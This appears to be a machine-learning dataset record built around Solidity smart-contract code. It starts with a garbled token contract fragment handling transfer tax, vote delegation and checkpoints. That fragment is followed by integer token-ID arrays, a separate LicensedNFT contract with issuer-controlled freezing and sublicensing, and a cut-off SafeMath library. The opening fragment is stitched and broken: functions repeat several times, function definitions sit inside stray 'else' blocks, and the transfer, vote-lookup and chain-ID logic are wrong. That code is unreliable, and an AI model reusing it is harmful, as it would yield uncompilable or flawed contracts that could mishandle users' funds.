_transferTaxRate); transferTaxRate = _transferTaxRate; totalTransferTaxRate = transferTaxRate + transferPvpComission; } function updateTransferPvpComission(uint256 _transferPvpComission) public onlyDeveloper { require(_transferPvpComission <= MAXIMUM_TRANSFER_PVP_COMISSION, "BPUL::updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferPvpComissionUpdated(transferPvpComission, _transferPvpComission); transferPvpComission = _transferPvpComission; totalTransferTaxRate = transferTaxRate + transferPvpComission; } function setDeveloperAddress(address _newDeveloper) public onlyDeveloper{ emit SetNewDeveloper(developer, _newDeveloper); developer = _newDeveloper; } function setPvpAddress(address _newPvp) public onlyDeveloper{ emit SetPvpAddress(developer, pvp, _newPvp); pvp = _newPvp; } function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount){ if (recipient == BURN_ADDRESS || transferTaxRate == 0 || sender == developer || recipient == developer) { super._transfer(sender, recipient, amount); uint256 taxAmount = amount.mul(transferTaxRate).div(10000); uint256 pvpTaxAmount = amount.mul(transferPvpComission).div(10000); uint256 sendAmount = amount.sub(taxAmount).sub(pvpTaxAmount); require(amount == sendAmount + taxAmount + pvpTaxAmount, "BPUL::transfer: Tax value invalid"); super._transfer(sender, BURN_ADDRESS, taxAmount); super._transfer(sender, pvp, pvpTaxAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount){ if (recipient == BURN_ADDRESS || transferTaxRate == 0 || sender == developer || recipient == developer) { super._transfer(sender, recipient, amount); uint256 taxAmount = amount.mul(transferTaxRate).div(10000); uint256 pvpTaxAmount = amount.mul(transferPvpComission).div(10000); uint256 sendAmount = amount.sub(taxAmount).sub(pvpTaxAmount); require(amount == sendAmount + taxAmount + pvpTaxAmount, "BPUL::transfer: Tax value invalid"); super._transfer(sender, BURN_ADDRESS, taxAmount); super._transfer(sender, pvp, pvpTaxAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } } else { function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "TOKEN::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "TOKEN::delegateBySig: invalid nonce"); require(now <= expiry, "TOKEN::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } } else if (cp.fromBlock < blockNumber) { } else { function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "TOKEN::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "TOKEN::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } } else { function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; return chainId; } assembly { chainId := chainid() } }
4,699,175
[ 1, 4625, 348, 7953, 560, 30, 225, 16393, 52, 332, 87, 297, 1345, 598, 611, 1643, 82, 1359, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 16393, 52, 332, 87, 297, 1345, 353, 4232, 39, 3462, 2668, 38, 1066, 52, 332, 87, 297, 1345, 2187, 296, 30573, 1506, 6134, 288, 203, 377, 203, 565, 2254, 5034, 1071, 7412, 7731, 4727, 273, 2371, 713, 31, 203, 565, 2254, 5034, 1071, 7412, 52, 20106, 799, 19710, 273, 2130, 31, 203, 565, 2254, 5034, 1071, 2078, 5912, 7731, 4727, 273, 7412, 7731, 4727, 397, 7412, 52, 20106, 799, 19710, 31, 203, 565, 2254, 5034, 1071, 5381, 4552, 18605, 67, 16596, 6553, 67, 56, 2501, 67, 24062, 273, 16291, 31, 203, 565, 2254, 5034, 1071, 5381, 4552, 18605, 67, 16596, 6553, 67, 52, 26152, 67, 4208, 45, 4475, 273, 16291, 31, 203, 565, 2254, 5034, 1071, 943, 5912, 273, 6604, 31, 203, 565, 1758, 1071, 5381, 605, 8521, 67, 15140, 273, 374, 92, 12648, 12648, 12648, 12648, 2787, 72, 41, 69, 40, 31, 203, 565, 1758, 1071, 8751, 31, 203, 565, 1758, 1071, 4171, 31, 203, 565, 1758, 1071, 9770, 84, 31, 203, 377, 203, 565, 3885, 12, 203, 3639, 1758, 389, 23669, 16, 203, 3639, 1758, 389, 84, 20106, 203, 565, 262, 1071, 288, 203, 3639, 8751, 273, 389, 23669, 31, 203, 3639, 9770, 84, 273, 389, 84, 20106, 31, 203, 565, 289, 203, 565, 445, 312, 474, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1071, 1338, 5541, 288, 203, 3639, 389, 81, 474, 24899, 869, 16, 389, 8949, 1769, 203, 3639, 389, 8501, 15608, 815, 12, 2867, 12, 20, 3631, 389, 3771, 1332, 815, 63, 67, 869, 6487, 389, 8949, 1769, 203, 565, 289, 203, 203, 565, 2874, 261, 2867, 516, 1758, 13, 2713, 389, 3771, 1332, 815, 31, 203, 203, 203, 565, 1958, 25569, 288, 203, 3639, 2254, 1578, 628, 1768, 31, 203, 3639, 2254, 5034, 19588, 31, 203, 565, 289, 203, 377, 203, 377, 203, 203, 203, 203, 203, 203, 203, 203, 565, 871, 12279, 7731, 4727, 7381, 12, 11890, 5034, 2416, 7731, 4727, 16, 2254, 5034, 394, 7731, 4727, 1769, 203, 377, 203, 565, 871, 12279, 52, 20106, 799, 19710, 7381, 12, 11890, 5034, 2416, 52, 20106, 799, 19710, 16, 2254, 5034, 394, 52, 20106, 799, 19710, 1769, 203, 377, 203, 565, 871, 1000, 1908, 28145, 12, 2867, 8808, 1592, 28145, 16, 1758, 8808, 394, 28145, 1769, 203, 377, 203, 565, 871, 28113, 5912, 12, 2867, 8808, 4461, 16, 2254, 5034, 394, 6275, 1769, 203, 377, 203, 565, 871, 1000, 52, 20106, 1887, 12, 2867, 8808, 4461, 16, 1758, 8808, 2416, 52, 20106, 1887, 16, 1758, 8808, 394, 52, 20106, 1887, 1769, 203, 377, 203, 565, 2874, 261, 2867, 516, 2874, 261, 11890, 1578, 516, 25569, 3719, 1071, 26402, 31, 203, 565, 2874, 261, 2867, 516, 2254, 1578, 13, 1071, 818, 1564, 4139, 31, 203, 565, 1731, 1578, 1071, 5381, 27025, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 2932, 41, 2579, 27, 2138, 3748, 12, 1080, 508, 16, 11890, 5034, 2687, 548, 16, 2867, 3929, 310, 8924, 2225, 1769, 203, 565, 1731, 1578, 1071, 5381, 2030, 19384, 2689, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 2932, 26945, 12, 2867, 7152, 73, 16, 11890, 5034, 7448, 16, 11890, 5034, 10839, 2225, 1769, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 1661, 764, 31, 203, 565, 871, 27687, 5033, 12, 2867, 8808, 11158, 639, 16, 1758, 8808, 628, 9586, 16, 1758, 8808, 358, 9586, 1769, 203, 565, 871, 27687, 29637, 5033, 12, 2867, 8808, 7152, 16, 2254, 2416, 13937, 16, 2254, 394, 13937, 1769, 203, 565, 9606, 1338, 28145, 1435, 288, 203, 3639, 2583, 12, 23669, 422, 389, 3576, 12021, 9334, 315, 11095, 353, 486, 326, 8751, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 565, 9606, 30959, 2888, 5349, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 288, 203, 3639, 1426, 30959, 2888, 5349, 758, 10014, 273, 261, 15330, 422, 8751, 747, 8027, 422, 8751, 747, 5793, 422, 4171, 747, 8027, 422, 4171, 1769, 203, 7010, 3639, 309, 261, 1896, 5912, 6275, 1435, 405, 374, 597, 401, 970, 77, 2888, 5349, 758, 10014, 13, 288, 203, 2868, 2583, 12, 8949, 1648, 943, 5912, 6275, 9334, 315, 30573, 1506, 2866, 970, 77, 2888, 5349, 30, 12279, 3844, 14399, 326, 943, 5912, 6275, 8863, 203, 3639, 289, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 377, 203, 565, 9606, 30959, 2888, 5349, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 288, 203, 3639, 1426, 30959, 2888, 5349, 758, 10014, 273, 261, 15330, 422, 8751, 747, 8027, 422, 8751, 747, 5793, 422, 4171, 747, 8027, 422, 4171, 1769, 203, 7010, 3639, 309, 261, 1896, 5912, 6275, 1435, 405, 374, 597, 401, 970, 77, 2888, 5349, 758, 10014, 13, 288, 203, 2868, 2583, 12, 8949, 1648, 943, 5912, 6275, 9334, 315, 30573, 1506, 2866, 970, 77, 2888, 5349, 30, 12279, 3844, 14399, 326, 943, 5912, 6275, 8863, 203, 3639, 289, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 377, 203, 565, 445, 444, 7786, 1887, 12, 2867, 389, 7525, 13, 1071, 1338, 28145, 95, 4171, 273, 389, 7525, 31, 289, 203, 565, 445, 10851, 5912, 12, 11890, 5034, 389, 8949, 13, 1071, 1338, 28145, 95, 203, 3639, 943, 5912, 273, 389, 8949, 31, 203, 3639, 3626, 28113, 5912, 12, 3576, 18, 15330, 16, 389, 8949, 1769, 203, 565, 289, 203, 377, 203, 565, 445, 943, 5912, 6275, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 2078, 3088, 1283, 7675, 16411, 12, 1896, 5912, 2934, 2892, 12, 23899, 1769, 203, 565, 289, 203, 1377, 203, 565, 445, 1089, 5912, 7731, 4727, 12, 11890, 5034, 389, 13866, 7731, 4727, 13, 1071, 1338, 28145, 288, 203, 3639, 2583, 24899, 13866, 7731, 4727, 1648, 4552, 18605, 67, 16596, 6553, 67, 56, 2501, 67, 24062, 16, 315, 30573, 1506, 2866, 2725, 5912, 7731, 4727, 30, 12279, 5320, 4993, 1297, 486, 9943, 326, 4207, 4993, 1199, 1769, 203, 3639, 3626, 12279, 7731, 4727, 7381, 12, 13866, 7731, 4727, 16, 389, 13866, 7731, 4727, 1769, 203, 3639, 7412, 7731, 4727, 273, 389, 13866, 7731, 4727, 31, 203, 3639, 2078, 5912, 7731, 4727, 273, 7412, 7731, 4727, 397, 7412, 52, 20106, 799, 19710, 31, 203, 565, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol"; import "contracts/IAuthToken.sol"; import "contracts/ERC721Preset.sol"; /** * @title NFT contract for licenses * @notice The contract provides the issuer and the artists with the required functions to comply and evolve with the regulation */ contract LicensedNFT is ERC721Preset { using SafeMathUpgradeable for uint256; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; using CountersUpgradeable for CountersUpgradeable.Counter; /* Access Control*/ bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant ISSUER_ROLE = keccak256("ISSUER_ROLE"); /* Public addresses */ address public issuer; address public artist; /* Implementation addresses */ address public authTokenImplementation; /* States */ mapping(uint256 => bool) internal frozenToken; mapping(uint256 => string) internal stateDescription; mapping(uint256 => string) internal tokenLegalURI; mapping(uint256 => address) internal authToken; mapping(uint256 => uint256) internal parentLicense; mapping(uint256 => EnumerableSetUpgradeable.UintSet) internal childLicenses; bool public subLicensesDeployementPaused; bool public authTokenDeployementPaused; /* Events */ event AuthTokensImplementationSet(address _tokenImplementation); event AuthTokenDeploymentPaused(); event AuthTokenDeploymentResumed(); event AuthTokenDeployed(uint256 _tokenId, address _authAddress); event SubLicensesDeploymentPaused(); event SubLicensesDeploymentResumed(); event SubLicenseDeployed( uint256 _parentLicense, uint256 _childLicense, address _recipient ); event SubLicenseRevoked(uint256 _tokenId); event TokenFrozen(uint256 _tokenId); event TokenUnfrozen(uint256 _tokenId); event TokenColored(uint256 _tokenId, string _stateDescription); event FreezeRequestPrinted(uint256 _tokenId); event BaseURIUpdated(string _URI); event LegalURIUpdate(uint256 _tokenId, string _newLegalURI); function initialize( string memory _name, string memory _symbol, string memory _baseTokenURI, address _admin, address _issuer, address _artist ) public initializer { super.initialize(_name, _symbol, _baseTokenURI); _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(ADMIN_ROLE, _admin); _setupRole(ISSUER_ROLE, _admin); _setupRole(ISSUER_ROLE, _issuer); subLicensesDeployementPaused = true; authTokenDeployementPaused = true; issuer = _issuer; artist = _artist; } /** * @notice Setter for the base URI of the NFTs * @param _baseURI the base URI of the NFTs */ function setBaseURI(string memory _baseURI) public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); _baseTokenURI = _baseURI; emit BaseURIUpdated(_baseURI); } /* Tokens control functions */ /** * @notice Freeze a particular token * @param _tokenId the id of the token */ function freezeToken(uint256 _tokenId) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); frozenToken[_tokenId] = true; emit TokenFrozen(_tokenId); } /** * @notice Unfreeze a particular token * @param _tokenId the id of the token */ function unfreezeToken(uint256 _tokenId) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); frozenToken[_tokenId] = false; emit TokenUnfrozen(_tokenId); } /** * @notice Color a particular token with a described state * @param _tokenId the id of the token * @param _stateDescription the description of its state */ function colorToken(uint256 _tokenId, string memory _stateDescription) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); stateDescription[_tokenId] = _stateDescription; emit TokenColored(_tokenId, _stateDescription); } /** * @notice Empty tx to record a freeze request by the artist * @param _tokenId the id of the token */ function printFreezeRequest(uint256 _tokenId) public { require(msg.sender == artist, "ERR_CALLER"); emit FreezeRequestPrinted(_tokenId); } /** * @notice Issuer function to burn a token * @param _tokenId the id of the token */ function cancelToken(uint256 _tokenId) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); _burn(_tokenId); } /** * @notice Update the URI for the legal contract associated with a token * @param _tokenId the id of the token * @param _legalURI the new URI of the legal contract */ function updateTokenLegalURI(uint256 _tokenId, string memory _legalURI) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); tokenLegalURI[_tokenId] = _legalURI; emit LegalURIUpdate(_tokenId, _legalURI); } /* Sub Licenses */ /** * @notice Deploy a sub license of a specific token * @param _tokenId the id of the token * @param _recipient the address of the recipient of the sublicense * @param _name the name of the sublicense * @param _symbol the symbol of the sublicense * @param _legalURI the URI of the legal contract associated with the sublicense */ function deploySubLicense( uint256 _tokenId, address _recipient, string memory _name, string memory _symbol, string memory _legalURI ) public { require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); mint(_recipient, _name, _symbol, _legalURI); uint256 sublicenseID = _tokenIdTracker.current(); parentLicense[sublicenseID] = _tokenId; childLicenses[_tokenId].add(sublicenseID); emit SubLicenseDeployed(_tokenId, sublicenseID, _recipient); } /** * @notice Revoke a sublicense token * @param _subLicenseId the id of the sublicence token */ function revokeSubLicense(uint256 _subLicenseId) public { uint256 parentId = parentLicense[_subLicenseId]; require(hasRole(ISSUER_ROLE, msg.sender), "ERR_CALLER"); _burn(_subLicenseId); delete parentLicense[_subLicenseId]; childLicenses[parentId].remove(_subLicenseId); emit SubLicenseRevoked(_subLicenseId); } /** * @notice Pause the deployement of sublicenses */ function pauseSubLicenseDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); subLicensesDeployementPaused = true; emit SubLicensesDeploymentPaused(); } /** * @notice Resume the deployement of sublicenses */ function resumeSubLicenseDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); subLicensesDeployementPaused = false; emit SubLicensesDeploymentResumed(); } /* Auth */ function _deployAuthToken( uint256 _tokendId, string memory _name, string memory _symbol ) internal returns (address) { require( authTokenImplementation != address(0x0), "ERR_TOKEN_IMPLEMENTATION" ); address newAuth = ClonesUpgradeable.clone(authTokenImplementation); IAuthToken(newAuth).initialize(_name, _symbol, _tokendId); authToken[_tokendId] = newAuth; emit AuthTokenDeployed(_tokendId, newAuth); return newAuth; } /** * @notice Pause the deployement of auth tokens */ function pauseAuthTokenDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); authTokenDeployementPaused = true; emit AuthTokenDeploymentPaused(); } /** * @notice Resume the deployement of auth tokens */ function resumeAuthTokenDeployement() public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); authTokenDeployementPaused = false; emit AuthTokenDeploymentResumed(); } /** * @notice Setter for the auth token implementation * @param _tokenImplementation the implementation of the auth token */ function setTokenImplementation(address _tokenImplementation) public { require(hasRole(ADMIN_ROLE, msg.sender), "ERR_CALLER"); authTokenImplementation = _tokenImplementation; emit AuthTokensImplementationSet(_tokenImplementation); } /* Getters */ /** * @notice Getter for the parent license of a token * @param _tokenId the token id * @return the token id of the parent license */ function getParentLicense(uint256 _tokenId) public view returns (uint256) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return parentLicense[_tokenId]; } /** * @notice Getter for the child licenses of a token * @param _tokenId the token id * @return the token ids of the parent license */ function getChildLicenses(uint256 _tokenId) public view returns (uint256[] memory) { require(_exists(_tokenId), "ERR_TOKEN_ID"); uint256[] memory childLicensesList = new uint256[](childLicenses[_tokenId].length()); for (uint256 i = 0; i < childLicenses[_tokenId].length(); i++) { childLicensesList[i] = childLicenses[_tokenId].at(i); } return childLicensesList; } /** * @notice Getter for auth token address of a token * @param _tokenId the token id * @return the address of the auth token */ function getAuthTokenAddress(uint256 _tokenId) public view returns (address) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return authToken[_tokenId]; } /** * @notice Getter for the frozen state of a token * @param _tokenId the token id * @return true if frozen, false otherwise */ function isTokenFrozen(uint256 _tokenId) public view returns (bool) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return frozenToken[_tokenId]; } /** * @notice Getter decription of the state of a token * @param _tokenId the token id * @return the state of the token */ function getTokenStateDescriptionRef(uint256 _tokenId) public view returns (string memory) { require(_exists(_tokenId), "ERR_TOKEN_ID"); return stateDescription[_tokenId]; } /* Overrides */ function mint( address _to, string memory _name, string memory _symbol, string memory _legalURI ) public { require(hasRole(MINTER_ROLE, msg.sender), "ERR_CALLER"); uint256 tokenId = _tokenIdTracker.current(); _mint(_to, tokenId); _deployAuthToken(tokenId, _name, _symbol); _tokenIdTracker.increment(); tokenLegalURI[tokenId] = _legalURI; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { require(!frozenToken[tokenId], "ERR_TOKEN_FROZEN"); super._beforeTokenTransfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: 